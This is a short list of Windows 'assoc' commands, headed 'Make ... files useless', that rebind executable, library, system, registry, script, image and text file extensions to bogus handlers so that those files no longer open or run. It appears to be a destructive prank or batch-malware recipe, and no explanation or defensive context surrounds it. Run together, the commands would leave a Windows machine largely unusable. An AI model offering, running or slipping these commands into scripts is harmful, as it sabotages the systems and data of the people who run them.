Make BAT-, COM-, CMD-files useless (Executable files)

assoc .bat=delfile
assoc .cmd=delfile
assoc .com=delfile

Make EXE-files useless (Executable files)

assoc .exe=delfile

Make GIF-, JPG-, BMP-, PNG-files useless (Pictures)

assoc .gif=delfile
assoc .jpg=delfile
assoc .bmp=delfile
assoc .png=delfile

Make DIC-, EXC-, SCP-, TXT-, LOG-, WTX-files useless (Textfiles)

assoc .exc=wmpfile
assoc .scp=wmpfile
assoc .txt=wmpfile
assoc .log=wmpfile
assoc .wtx=wmpfile

Make SYS-files useless (Systemfiles)

assoc .sys=delfile

Make INF-, INI-files useless (Configuration files)

assoc .inf=delfile
assoc .ini=delfile

Make DLL-files useless (Library files)

assoc .dll=delfile

Make CPL-files useless (Files for control panels)

assoc .cpl=delfile

Make REG-files useless (Registry configuration files)

assoc .reg=delfile

Make VBS-files useless (Visual Basic-files)

assoc .vbs=delfile

Make SCR-files useless (Screensavers)

assoc .scr=delfile